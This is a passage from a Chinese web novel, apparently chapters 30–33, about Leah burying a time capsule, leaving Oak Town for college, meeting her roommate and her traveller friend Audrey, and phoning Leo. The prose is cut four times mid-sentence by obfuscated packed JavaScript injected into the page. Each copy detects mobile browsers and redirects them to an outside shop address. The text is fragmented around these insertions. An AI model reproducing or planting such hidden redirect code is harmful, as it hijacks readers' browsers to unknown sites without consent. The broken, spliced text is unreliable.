d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823432|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个了不得的人物，也许是个戴着金丝边眼镜、在堆满古籍的大学办公室里的教授。或者……是个用笔尖记录世界的旅行作家，再不然她可能会遇到一个……嗯，一个穿着得体西装英俊银行家，在某个慈善晚宴上他对她一见钟情，然后他们结婚，生了两个漂亮得像洋娃娃的孩子，住在带大花园的白色房子里。” 她越说越兴奋，仿佛已经看到了那幅画面。 莉齐加入进来，补充着更接地气的细节：“得了吧奥黛丽，银行家太无聊了。我看莉娅更适合一个……嗯，一个同样喜欢安静、能陪她在湖边看一整天书的国家公园管理员，或者是个手艺精湛的木匠，能给她做一整面墙的书架。他们可能不会住在大城市，而是在某个宁静的小镇，养一条精力旺盛的狗。周末的时候，莉娅会在社区的读书会上分享她喜欢的书，而她的丈夫就在后院捣鼓他的木工活儿。平淡，但幸福得冒泡。” “好了，打住吧，两位预言家。”莉娅终于笑着打断了她们越来越天马行空的想象，“再让你们说下去，我恐怕就要去竞选总统了。” 她低下头，重新看着面前空白的信纸上。 她深吸一口气，海风与旧木材的气息涌入胸腔。 然后，她开始动笔。 「亲爱的莉娅： 当你打开这封信时，我希望你正爱着某个人，也被某个人安稳地爱着。 希望你的脚步从未被任何边界束缚。如果那时还有鸟儿在歌唱，还有贝壳值得弯腰拾起。 那么，你的世界就依然完好。 我爱你，莉娅。」 她没有写下“我成为了谁”，“我拥有了什么”，她写下的是对一个陌生又熟悉的未来灵魂，最诚挚的祝福。 奥黛丽和莉齐也写完了她们的信。 奥黛丽写的密密麻麻，充满了感叹号和只有她们才懂的内部笑话。莉齐的则简短务实，甚至还画了个简易的啤酒杯示意图。 接下来她们挑选“宝藏”，郑重地拿出自己心爱的物品。 奥黛丽献出的是一根她在沙滩排球赛场边捡到的海鸥羽毛、一张她们去看烟火秀的票根，上面印着模糊的日期和图案，还有一枚她从旧牛仔裤上拆下来的、闪着光的银色铆钉。 “这代表自由、快乐和一点点反叛。”她宣布。 莉齐贡献的是一个印着当地啤酒品牌logo的瓶盖，被她磨得光滑，还有一张写着她的“秘制蛤蜊浓汤”食谱的纸条 “希望五十年后这字迹还没被虫子啃光。”她嘟囔着。 莉娅的选择则安静得多。 她放入了那片她最珍视的月牙形贝壳，一枚用她在“海螺壳”赚到的第一笔小费硬币，还有她那支用来书写这封信的旧钢笔。 所有的信和物品被小心翼翼地放入一个莉齐找来的、原本装饼干的旧铁盒里。 盖子上，她们用防水笔合力画了一张地图。 线条依然歪歪扭扭，标识着木屋、那棵形状奇特歪脖棕榈树、以及远处一块像沉睡海豚的礁石。 雨不知何时停了。 她们拿着铁盒、铲子和一只手电筒，溜出木屋。 她们踩着湿润的沙地，来到那棵歪脖棕榈树下。奥黛丽负责望风，莉齐用她那有力的手臂挖了一个深坑，莉娅则庄重地将铁盒放入。 泥土和沙粒重新覆盖上去，抹平。她们并肩站着，海风吹拂着她们的头发和衣角带着雨后清新的凉意，谁也没有说话。 之后她们转身走回亮着温暖灯光的小木屋，身后是无垠的大海。 五十年时光啊，这真的很久。 31. chapter 31 之后白天，她们在海滩上散步，捡拾奇形怪状的贝壳和光滑的石头。晚上，她们围坐在木屋沙发，分享路上买的零食，听莉齐讲她年轻时的各种荒唐事。 她们玩得很疯，笑得很大声，仿佛要用尽所有的力气，把离别的阴影暂时驱散。 因为她们都知道，假期结束后莉娅要去上大学，奥黛丽打算在这个海边小镇先找份工作落脚，探索她的新天地，而莉齐也要返回橡林镇。 一个稳固的小团体，即将各奔东西。 现在这份记忆，比任何东西都珍贵。 * 海边假期结束，离大学开学的日子越来越近。 莉娅回到了橡林镇，做最后的准备。出发前一晚，夕阳将湖面染成金红色时，她最后一次乘小船，去了对岸的山核桃树下。 利奥果然在那里。 扳手已经长成一条半大的狗，威风凛凛，它远远看到莉娅的船，就兴奋地冲过来，嘴里叼着一根被湖水打磨得形状姣好的树枝，尾巴摇得像螺旋桨，把地上的落叶扫得四处飞溅。 莉娅把船停好，走过去，习惯性地揉了揉扳手毛茸茸的脑袋。 利奥靠在粗壮的树干上，看着她，没有说话。 湖风轻轻吹动他额前的发丝。 莉娅在他身边坐下，看着波光粼粼的湖面，沉默了一会儿才轻声开口，问出了那个她一直搁置在心底的问题：“我好像……还没有问你，打算去哪？” 利奥的成绩单并不好看，整个学生时代有限的精力都奉献给了曲棍球。如果他坚持下去，或许真能得到某个低级别联队的垂青，但他亲手关闭了那扇门。 他重复了她的问题，像是自己在咀嚼这个词的含义：“打算去哪？” 然后，他顿了顿，声音平静，“打算……到处走走。” 这个答案并不出乎莉娅的意料。 他不是那种会安于在一个固定地方重复生活的人。 她转过头，看着他被夕阳勾勒出的侧影，问出了更深的不安：“到时候……还能找得到你吗？” 世界那么大，到处走走，听起来就像一滴水汇入大海。 利奥终于转过头，看向她。 他的眼神很沉静，里面有莉娅熟悉的笃定，还有一种她未曾明确感知过的、复杂的情愫。 他没有给出确切的地址或承诺，只是说了一句很简单，却让莉娅瞬间安心的话：“能的。” 他说，“你总能知道我在哪里。” 莉娅没有再追问，她点了点头，把目光重新投向湖面。山核桃树的影子在夕阳下被拉得很长，笼罩着他们和那条兴奋地啃着树枝的狗。 第二天，橡林镇小小的长途汽车站挤满了人，像是要把整个小镇的人都搬过来。 莉齐用力地拥抱她，嗓门依旧洪亮：“好好学，有人欺负你就告诉我，我坐车去骂他。” 安娜阿姨早已哭成了泪人，不停地用围裙角擦眼睛，把一个个装着食物的小包裹塞进艾拉的行李：“多好的孩子……呜呜……一定要常写信回来……” 莉娅一一拥抱她们，感谢的话说了又说。 最后，她走到利奥的母亲面前。米勒太太眼睛也是红红的，但脸上带着温暖的笑意。 莉娅握住她的手，认真地说：“米勒太太，以后……就请您用自己的名字给我写信吧，我想收到您的信。但是，请您不要再在信里塞钱了。” 她的声音有些哽咽，但努力保持着平静，“我会自己赚钱的，我已经长大了。” 安娜阿姨听到这话，哭得更凶了，抽抽搭搭地说：“我就说早就该这样了……” 旁边的吉姆医生习惯性地推了推眼镜：“显然，是某些人写信时情感表达过于泛滥，露出了马脚。” 安娜阿姨立刻像被踩了尾巴的猫，也顾不上哭了，用带着浓重口音的英语反击：“你懂什么冷冰冰的，那是爱，是关心。你以为谁都像你，写个病历一样。” “至少病历准确无误，不会造成误解和依赖。”吉姆医生面无表情地反驳。 看着这两位长辈像小孩子一样斗嘴，悲伤的气氛反而被冲淡了不少。 米勒太太笑着摇摇头，拍了拍莉娅的手，然后从口袋里拿出一个厚厚的信封，塞到莉娅手里：“好孩子，你的心意我们知道了。但这些，你必须拿着。” 她看着莉娅疑惑的眼睛，解释道：“那些钱一部分确实是你母亲生前攒下，嘱咐我们定期寄给你的。她那段时间……接了很多缝纫的活儿，没日没夜地干。” 米勒太太的声音低沉下去，带着心疼，“还有这个。” 她指着信封里的一个旧怀表和一枚样式朴素的金戒指，“这是你母亲当年为了应急当掉的东西，这个怀表和戒指，才是我们几个真正想送给你的入学礼。” 莉娅打开那个沉甸甸的旧怀表。 表盖内侧是一张小小的、已经泛黄的照片，照片上一对年轻的男女依偎在一起，男人英俊，女人温柔，脸上洋溢着幸福的笑容。 那是她几乎快要记不清模样的父母。 米勒太太又指了指那沓钱：“另外这些，是你父亲当年在矿上出事……一直没能顺利拿到的抚恤金。前些日子安娜冲到银行，坐在人家办公室里，用我们谁都听不懂的方言骂骂咧咧了好几个小时，对方实在受不了，才终于把这笔陈年旧账结清了。” 安娜阿姨听到这话，昂起头，脸上还挂着泪痕，却一副胜利者的姿态：“跟他们讲道理没用，就得来硬的。” 莉娅的眼泪终于忍不住掉了下来。 她紧紧攥着那个信封，再次拥抱了每一个人，承诺会经常写信。 汽车的引擎发动了。 莉娅最后看了一眼送行的人群，看到了站在稍远处的利奥。他没有挤上前，只是安静地看着她，阳光下他的身影挺拔而清晰。 扳手蹲在他脚边，吐着舌头。 莉娅对他挥了挥手。 利奥抬起手轻轻挥了一下，动作幅度很小。 莉娅转身上了车，找了个靠窗的位置坐下。 汽车缓缓驶出车站，她透过车窗看着那些熟悉的面孔、熟悉的街道、熟悉的湖泊和森林渐渐后退、变小。 她打开怀表，看着照片上父母年轻的笑容，又摸了摸口袋里那个柔软的猫头鹰挂链。 车开了，载着她驶向一个未知却充满可能性的未来。橡林镇在她身后，她知道这里永远是她可以回归的港湾。 而前方广阔的世界，在等着她。 * 阿默斯特学院的学术氛围浓厚得几乎让人窒息，让她这块来自橡林镇的“海绵”贪婪地吸收着知识的水分。 她的时间被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828990|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分割成小块，上课、泡图书馆、在图书馆兼职整理书籍、为了维持绩点而熬夜啃读艰深的文献。 她的舍友，海莉·温斯洛，来自波士顿一个显赫的律师家庭，入校前是东部某知名高中的啦啦队队长，金发碧眼，身材姣好，衣柜里挂满了莉娅连名字都叫不出的昂贵品牌的衣服。 开学初，海莉对莉娅那些来自橡林镇杂货店、洗得发白的格子衬衫和灯芯绒长裤，报以一种疏离的态度，仿佛在观察一种陌生的生物。 头两个星期，她们在宿舍里的对话仅限于“你好”、“再见”和“麻烦关下灯”。 转机发生在一个周末的深夜。 海莉参加完一个派对回来，带着一身酒气和莫名的沮丧，发现莉娅正用小电炉给自己煮一碗香气扑鼻的蔬菜汤。汤里加了从橡林镇带来的、安娜阿姨晒的干蘑菇，那股独特而温暖的鲜香瞬间弥漫了整个房间。 莉娅原本想直接爬上床，却被那香味勾得挪不动步：“那是什么？” 她忍不住问，声音带着醉后的含糊。 “随便煮的汤。”莉娅有些局促，下意识想挡住小锅。 “闻起来……不像随便煮的。”海莉凑过来，眼巴巴地看着翻滚的汤锅。 那天晚上她喝了两大碗莉娅分的汤，然后话匣子就打开了，从派对上的无聊男孩抱怨到维持身材的痛苦。 自那以后，一种奇妙的关系在她们之间建立起来。 海莉是个矛盾体。 她极度在意身材，梦想毕业后进入时尚杂志工作，却又有着难以遏制的口腹之欲。 她经常一时冲动买回一大堆甜品、薯片或披萨，然后像完成仪式一样，每样只吃一两口剩下的全部推到莉娅面前：“给你了，莉娅。再吃一口我的腰线就要消失了。” 有时她意志力崩溃，会忍不住把一整盒巧克力都吃完，然后陷入巨大的懊悔，半夜十一点拖着昏昏欲睡的莉娅去操场跑圈，一边跑一边哀嚎：“男人都是视觉动物，没有一个靠谱的东西。” 有一次，莉娅忍不住问她：“既然觉得他们不靠谱，为什么还要不停地交男朋友呢？” 海莉正对着一面小镜子补口红，闻言理所当然地回答：“总得有人帮我提包、占座、对付那些讨厌的苍蝇吧。而且，约会餐厅通常都不错。” 她放下镜子，叹了口气，语气半真半假，“唉，说到底，可能只是因为我害怕一个人吃饭。” 另一方面，海莉对莉娅的“时尚品味”进行了无情的“改造”。 她一边嫌弃地拎起莉娅一件领口都有些松垮的旧毛衣，嘟囔着“我实在不想让别人看到我整天跟一个像刚从林子里挖完野菜回来的土老冒在一起。” 一边又会慷慨地打开自己塞得满满的衣柜，挑出各式各样的衣服塞给莉娅：“试试这个，还有这个。老天，这颜色简直是为你这种安静的气质量身定做的。” 如果真有其他人敢当面嘲笑莉娅的穿着，海莉会立刻像一只被惹怒的护崽母鸡，用她精准毒舌的把对方从头到脚点评得体无完肤，直到对方讪讪离开为止。 莉娅从一开始的抗拒，到后来的无奈接受，再到最后偶尔也会在海莉的怂恿下尝试一些以前从未想过的颜色和款式，发现自己确实有了些不一样的变化。 在繁重的课业和兼职之余，莉娅开始写作。 32. chapter 32 或许是兼职的经历让她接触到形形色色的人，或许是心底始终萦绕着橡林镇的自然风光，她笔下的故事总是带着一种干净、纯粹，甚至有些童话般的质感。 她写林间懂得报恩的动物，写沉默但心灵手巧的修理铺男孩，写一群孩子在一个有着巨大山核桃树和神秘河湾的小镇上的冒险。 “你又在那里写写画画了，”海莉敷着面膜，凑过来看莉娅的笔记本，“这次是什么？又是你那个神秘的小镇？” “嗯，一个关于寻找失落宝藏的故事。”莉娅轻声说。 “听起来真可爱，”海莉耸耸肩，“不过莉娅，现在人们更喜欢看刺激的、都市的。你这些……太安静了。” 但她还是会把自己吃了一半就声称要减肥的巧克力递给莉娅，“喏补充点糖分，给你的宝藏加点甜味。” 莉娅只是笑笑，继续写。 她开始向校刊、向一些小杂志投稿。退稿信像秋叶一样偶尔飘来，她将它们抚平收进一个文件夹，标签上写着“练习”。 至少有人看过了。 大三下半学期，空气里开始掺杂着一种关于未来的焦虑，像夏日暴雨前闷热的水汽笼罩在每年轻人头顶。 莉娅也不例外，打字机旁堆砌的不仅是稿纸，还有雪花般飞来、措辞各异的退稿信。 就在这时，奥黛丽的一封电报先于她抵达，字句简短，带着她一贯的随心所欲。 「抵港，大西洋号，速来奥黛丽。」 港口总是喧闹的，庞大的白色游轮“大西洋号”像一座移动的城堡，威严地停泊在码头边。莉娅在熙攘的人群中寻找，很快就被一个热烈的声音捕获。 “莉娅，这边。” 奥黛丽站在舷梯旁，皮肤被阳光镀上一层健康的蜜色，头发编成几条俏皮的辫子，其间编织着彩色的丝线和细小的贝壳，她穿着船员制服。 洁白的短袖衬衫和海军蓝短裙，但这身规整的打扮丝毫无法束缚她身上那股野性的活力。 她冲过来，给了莉娅一个几乎令人窒息的、带着阳光的拥抱。 “老天，你可真难找。”奥黛丽松开她，眼睛亮晶晶地打量着她，“看起来像个真正的女学者了，就是脸色有点苍白，大学食堂的功劳？” 莉娅笑着捶了她一下：“比不上你在海上吃香喝辣。” 奥黛丽得意地扬了扬下巴：“走，带你去个好地方。我只有一个下午的假，明天一早船就开了。” 她没有带莉娅去那些游客如织的昂贵餐厅，而是熟门熟路地钻进了港口后的狭窄街巷。这里的建筑低矮，墙壁上爬满潮湿的苔藓，晾衣绳横跨街道。 最终，她们停在一扇不起眼的木门前，门上方挂着一个小小的、刻着一条跳跃海豚的木牌。 “玛尔塔的厨房，”奥黛丽压低声音，像分享一个秘密，“我们船上的二副是本地人，他带我来的，他说这里的海鲜汤能让人忘记所有烦恼。” 推门进去空间不大，只有五六张铺着红白格子桌布的小桌子，空气里弥漫着一种令人食指大动的香气。一个身材丰腴、系着干净围裙的老太太从厨房探出头，看到奥黛丽后脸上绽开一个温暖的笑容，用带着浓重口音的英语打招呼。 “怎么样，比你那些写着‘必吃榜’的地方强吧？”奥黛丽得意地眨眨眼，熟练地点了菜。 一盆海鲜汤，一份烤得滋滋作响的、用橄榄油和迷迭香腌制的大虾，还有一篮烤得外皮焦脆的面包。 等待上菜的时候，奥黛丽从她那个看起来能装下整个世界的大帆布包里，掏出一个用旧报纸包裹的小物件递给莉娅。 “给，纽芬兰的，一块被海浪磨得像玻璃一样的碎瓷片，说不定是某艘沉船的遗物。”接着又是一个小木雕，“亚马逊部落的手艺，据说是守护神。” 三年来，这样的包裹从未间断，从阿拉斯加的鲑鱼干到苏格兰的格子呢碎片，每一件都承载着奥黛丽走过的路和看过的风景。 莉娅看着眼前熟悉又似乎有些陌生的好友，忍不住感叹：“怎么倒像是你比我更熟悉这里？” 奥黛丽拿起一块面包，蘸了点桌上橄榄油混合香草的黑醋汁，塞进嘴里，含糊不清地说：“那是，让你天天窝在房间里跟你的打字机谈恋爱不出来走走，世界这么大，光靠想象怎么行。” 海鲜汤上来了，汤汁是浓郁的橙红色，里面堆满了青口、蛤蜊、虾、鱿鱼和白色的鱼块。 奥黛丽一边用面包蘸着汤汁，一边开始讲述她这三年来的经历。 “最开始，我就是懒，”她耸耸肩，“留在墨西哥的一个小海滩上，白天睡觉，晚上跟着退潮去赶海，捡点海胆什么的，日子过得像只寄居蟹。后来认识了老‘独眼’杰克，他是个老渔夫，真的只有一只眼睛，另一只在很多年前一次风暴里丢了。他说话像含着石头，但人不错，他问我敢不敢跟他出海三天。” 奥黛丽的眼睛因为回忆而闪闪发光。 “我当然敢，结果你猜怎么着？整整两天风平浪静，连片鱼鳞都没捞着。老杰克骂骂咧咧，说我是扫把星。第三天眼看要空手而归，天突然就黑了，风暴来了。那浪高的感觉我们的破船下一秒就要散架，我吐得昏天黑地，老杰克却像钉在甲板上一样吼着让我帮忙收网……等风暴过去我们拉起网，老天！满满一网。全是风暴搅起来的鱼群，那次的收获，抵得上老杰克平时跑半个月的。” 她喝了一大口带着果香的本地白葡萄酒，继续说：“我混着一身洗都洗不掉的鱼腥味，拿着分到的钱，脑子一热就买了张去草原的火车票，我想看看没有海的地方是什么样子。” “在草原上，我找了个农场帮工的活儿。每天天不亮就起来挤牛奶，还得给它们喂食、清理牛粪。累是真累，但晚上躺在干草堆上看星星，感觉星星都快掉下来砸到脸上了。我在那儿还赶上了他们的丰收节，大家围着巨大的篝火，唱着我听不懂的歌、跳着舞，我喝了好多自家酿的啤酒，第二天头疼得像被牛踩过。” “后来攒了点钱，我又坐不住了，听说亚马逊雨林……” 她滔滔不绝，地名和人名像珠子一样从她嘴里蹦出来。 在亚马逊河上一起划独木舟、教她辨认食人鱼的当地少年奇科。在冰岛泡温泉时认识的一边泡一边唱歌谣的北欧女孩埃尔瓦……她的故事里没有精心规划的路线，只有一时兴起的方向。 她挣钱是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839274|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去更远的地方，而到了新的地方她又会停下来找份零工，融入当地，像一株适应性极强的植物在任何土壤里都能汲取养分、恣意生长。 莉娅静静地听着，舀起一勺浓郁的海鲜汤送入口中，鲜美的滋味在舌尖炸开。 当奥黛丽在风暴中的渔船上与命运搏斗，在草原的篝火旁纵情歌舞，在雨林的河流里探索未知时，她正坐在四方墙壁之内与一个个虚构的人物搏斗，与无数封冰冷的退稿信对峙。 世界在奥黛丽脚下徐徐展开，而在她的世界里视野似乎正变得越来越窄，窄到只剩下打字机键盘的方寸之地。 奥黛丽敏锐地捕捉到了她的情绪，她停下关于非洲的讲述，放下酒杯，身体前倾，隔着桌子握住莉娅的手。 她的手心粗糙，带着常年劳作的薄茧。 “嘿，”她的声音柔和下来，“书呆子，吃饱了吗？带你去个好玩的地方，给你那塞满了故事的脑袋放放风。” 奥黛丽所谓“好玩的地方”是一个藏在工业区边缘的室□□击场。 门口招牌上的霓虹灯管坏了几处显得有些颓败，一走进去震耳欲聋的枪声扑面而来。灯光不算明亮，一排排射击隔间向深处延伸，远处的人形靶子在传送带上机械地来回移动。 “来这里……发泄一下。” 奥黛丽凑到莉娅耳边，大声喊道，然后利索地去前台付了钱，领了两把□□和两盒子弹，还有两副厚重的隔音耳罩。 戴上耳罩，世界瞬间被隔绝。 奥黛丽把莉莉娅推到射击位前，自己站在她身后双手扶住她的肩膀，帮她调整姿势。 “脚分开，与肩同宽。肩膀放松，别那么僵硬，你又不是在跟靶子摔跤。” 奥黛丽的声音透过耳罩显得有些模糊，“瞄准，呼吸稳住……就是现在，扣扳机。” 莉娅依言照做。 手指扣下，一声不算响亮的“砰”，后坐力轻轻撞在肩窝，远处的靶子纹丝不动。 “脱靶。”奥黛丽毫不客气地宣布，然后自己拿起另一把枪，几乎没有刻意瞄准随意地一扣扳机：“砰。” 远处靶子的胸口位置，应声出现一个新的弹孔，“看到没？要的是感觉，不是用力。” 莉娅深吸一口气，努力抛开脑子里那些纷乱的思绪，比如什么退稿信上的冷言冷语、未来的迷茫，奥黛丽口中那个广阔世界带来的无形压力。 她再次举枪，目光聚焦在那个模糊的人形靶心上。 砰！砰！砰！ 她不知道打中了没有，也不在乎。 只是重复着举枪、瞄准、扣动扳机的动作，枪声在耳罩里变得沉闷，手臂因为持续用力而微微发酸，但某种淤积在心底的郁气，似乎真的随着每一次扳机的扣动被一点点震散、排出体外。 直到一盒子弹打光，莉娅才摘下耳罩，大口喘着气，感觉浑身都有些脱力，但精神却奇异地松弛了下来。 奥黛丽检查了一下她的靶纸，上面只有寥寥几个散布边缘的弹孔。 她什么也没说，只是拍了拍莉娅的后背，搂着她的肩膀走出了射击场：“走，姐姐请你喝酒，庆祝你……呃，成功消耗了五十发子弹。” 33. chapter 33 外面的天不知何时阴沉了下来。 她们在街角的便利店买了一瓶廉价的波本威士忌，刚走出店门，几滴雨点就砸了下来，随即迅速连成雨幕，哗啦啦地倾泻而下。 “跑。”奥黛丽大喊一声，拉起莉娅就在回冲。 街道上行人四散奔逃，她们慌不择路，一眼瞥见路边一个老旧的电话亭，立即拉开门一起挤了进去。 电话亭空间狭小，两个成年女性挤在里面几乎转身都困难。 她们看着对方被雨水淋湿的头发、狼狈的神情，再看看这滑稽的处境，不约而同地哈哈大笑起来。 奥黛丽用牙齿咬开威士忌的瓶盖，仰头灌了一口，辛辣的液体让她龇牙咧嘴，然后递给莉娅。 莉娅犹豫了一下，也喝了一口，一股热流从喉咙直窜到胃里。 她们就缩在这个被雨水模糊了的玻璃盒子里，轮流喝着那瓶劣质但够劲的波本，雨点密集地敲打着玻璃顶棚，发出沉闷而持续的声响。 “好了，”奥黛丽用肩膀撞了一下莉娅，“现在可以说了吧？别拿你信里那套‘一切顺利’糊弄我。写书怎么样了？那些退稿信还像秋天的叶子一样多吗？” 莉娅抿了一口酒，苦涩地笑了笑：“你不是都猜到了吗？” “得了吧，”奥黛丽嗤之以鼻，“谁不知道你莉娅·罗斯最擅长报喜不报忧，快老实交代。” 莉娅叹了口气，在好友灼灼的目光和酒精的作用下，她断断续续地诉说着创作的瓶颈，出版社的冷淡，以及对未来的不确定。 奥黛丽安静地听着，没有打断，只是偶尔递过酒瓶。 等她说完，奥黛丽突然话锋一转，眼神里带着促狭：“那……橡林镇的那个闷葫芦呢？利奥？你们怎么样了。别告诉我你每次见他，都只是因为顺路去送米勒太太的果酱。” 莉娅的脸颊有些发烫，不知是因为酒精还是被说中了心事。 “……偶尔能见上一面。”她含糊地说。 “偶尔？”奥黛丽夸张地翻了个白眼，“拜托，都三年了。你们这慢吞吞的节奏，看得我都着急。” 她突然一把抢过莉安手里的酒瓶，放到地上，然后指着电话亭里那部投币式的黑色电话机，“打给他。” 莉娅吓了一跳，猛地摇头：“现在？不行，太突然了，而且……说什么？” “说什么都行，就说你这边下雨了，问他那边天气怎么样。”奥黛丽不由分说地往她手里塞了一枚硬币，“快点，就当是酒后胡言，明天醒了就不认账，你不打，我来打。” 她在这几年也见过利奥几次。 知道他后来去考取了机械师的证书，真的如他所说“到处走走”，在中西部的几个州做过修理工作。但后来米勒太太在打理花园时闪了腰，情况有些严重，利奥便回到了橡林镇，之后便再没离开。 他在镇中心租了个小门面，开了一家修理铺，什么都修，从收音机、自行车到农具，生意居然不错。 她知道这些一部分来自信里的提及，一部分来自那寥寥几次见面。 现在奥黛丽的连番怂恿和掐胳膊的“暴力”威胁下，莉娅的心脏像揣了只兔子，咚咚直跳。 她深吸了几口气，颤抖着手指将那枚冰冷的硬币塞进了投币口，然后凭着记忆，拨通了那个遥远的、属于橡木镇修理铺的号码。 听筒里传来漫长的等待音，每一声都敲击在莉娅紧绷的神经上。 她几乎要挂断电话，但奥黛丽紧紧抓着她的胳膊，用眼神示意她坚持住。 就在她以为不会有人接听时，电话被拿了起来。对面没有立刻说话，只有沉沉的呼吸声透过电话线传来。 “……喂？” 是利奥的声音。 那一瞬间，莉娅感觉浑身的酒意都醒了大半，喉咙像是被什么东西堵住了发不出任何声音。 奥黛丽在一旁急得直掐她的胳膊，用口型无声地催促：“说话啊。” 过了仿佛一个世纪那么久，对面试探性地带着一丝不确定，轻声问：“……莉娅？” 他叫了她的名字。 莉娅避开奥黛丽灼热的目光，看着电话亭玻璃窗外如瀑布般流淌的雨幕，轻轻地，几乎是用气声回应：“……嗯。” 对面似乎松了口气，能听到他起身的细微声响，也许是从椅子或吊床上站起来。 “怎么了？”他的声音近了些，“是不是……发生了什么事？” 莉娅下意识地摇了摇头，随即意识到他看不到，连忙低声说：“没有。” 她停顿了一下，感受着威士忌在血管里留下的暖意和勇气，看着窗外无尽的雨，声音很慢像怕惊扰了这雨夜的静谧，“我们这边……下雨了。” 电话那头沉默了一下，然后是一声简单的：“嗯。” 莉娅闭上眼睛，鼓起此生最大的勇气，用一种近乎梦呓般的语调，轻声说： “……我有点想你了。” 说完，不等对方有任何反应，她像是被烫到一样飞快地挂断了电话。 心脏在胸腔里疯狂地擂鼓，脸颊滚烫，手心里全是汗。 奥黛丽一直屏着呼吸，直到听筒传来忙音她才猛地吐出一口气，拿起地上的酒瓶灌了一大口，然后抹了抹嘴，眼睛瞪得溜圆：“哇哦……他怎么会知道是你？” 莉娅靠在冰冷的玻璃壁上，摇了摇头：“我不知道……” “管他呢，”奥黛丽挥挥手，一副豪迈架势，“要是他刚才敢叫错别的女孩的名字，我今晚就打爆他的电话，咱们谁都别想睡。” 莉娅被她的话逗得噗嗤一声笑了出来，紧张的气氛瞬间缓和了不少。 电话亭里陷入了短暂的安静，只有雨声依旧。两个女孩紧紧地靠在一起，分享着狭小空间里的温暖和那瓶所剩不多的波本。 过了一会儿，奥黛丽把头靠在莉娅的肩膀上，声音因为酒精和疲惫而变得有些含糊：“莉娅……” “嗯？” “亲爱的，真是好久不见啊……” 莉娅的心柔软下来，她也靠在奥黛丽的头上：“是啊，好久好久了。” 从小学三年级她们成为形影不离的好友到现在，这几年虽然通信不断，但像这样紧密地待在一起感受彼此的呼吸和体温……确实是太久违了。 奥黛丽像个孩子一样在她肩膀上蹭了蹭，絮絮叨叨地，带着醉意说：“我好想你啊……真的。我到处跑，到处看，就想找到世界上最棒的地方，等我找到了，安定下来，就把你接过去，我们住在一起……” 莉娅微笑着，任由她胡言乱语。 “说说看，”奥黛丽抬起头，“你梦想中的房子，要是什么样的？” 莉娅看着窗外渐渐变小的雨丝，她轻声描述着：“……要有一片湖，很大的湖，湖水是蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846207|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的或者绿色的。闲的时候可以去钓鱼，不一定非要钓到，就坐在船上发呆也好，还要有一片树林，不需要太大，但夏天能遮阴，秋天叶子会变成金色和红色……邻居呢最好是和善的人，不会嫌我吵闹，做了好吃的可以互相赠送……” 奥黛丽听着听着，突然用头轻轻撞了一下她的肩膀，带着醉醺醺的得意笑声打断她：“哈哈哈……你说的这不就是……不就是我们的橡林镇吗。绕了一大圈你的梦想家园，原来就在起点啊。” 莉娅怔住了，随即也笑了起来。 雨，不知何时，终于停了。 街道被冲洗得干干净净，空气清新冷冽。她们推开电话亭的门，带着一身酒气和半湿的衣服走出来，凉风一吹，都忍不住打了个哆嗦。 该回去了。 奥黛丽明天一早就要随船离开，驶向下一片未知的海域，而莉娅还要回到她的书桌和打字机前。 她们在空旷湿润的街角停下，面对面站着，没有多说一句话。 只是张开双臂，用力地、紧紧地拥抱在一起。这个拥抱，用尽了全身的力气，她们不知道下一次相见会是何时、在世界的哪个角落。 “保重。” “你也是。” 松开彼此，奥黛丽潇洒地挥挥手，转身汇入稀疏的人流。 莉娅站在原地，看着她的身影消失在街角，然后抬头望向雨后初霁、透出几颗疏星的夜空。 她摸了摸口袋里那块来自纽芬兰的瓷片，转身，向着来路走去。 * 莉安抱着几本厚重的参考书，随着人流走下石阶。 目光掠过不远处那棵枝叶繁茂的橡树，以及树荫下的那张老旧木质长椅时，她的脚步顿住了。 他坐在那里。 利奥穿着那身熟悉的、洗得有些发白的深蓝色工装裤和一件灰色的棉质T恤，肩膀宽阔，背脊挺直，手肘撑在膝盖上，双手交握放在身前。 他就坐在那里，像一块突然出现在这片缤纷校园里的礁石，与周围充满书卷气的青春画面格格不入。 她没想到，他会在这里。 前天晚上她刚刚在奥黛丽的怂恿下，借着酒意，从那个狭小的电话亭里拨通他的号码，说出那句“我有点想你了”之后，她以为再次见面会是在很久以后，在一个更习惯的场景里。 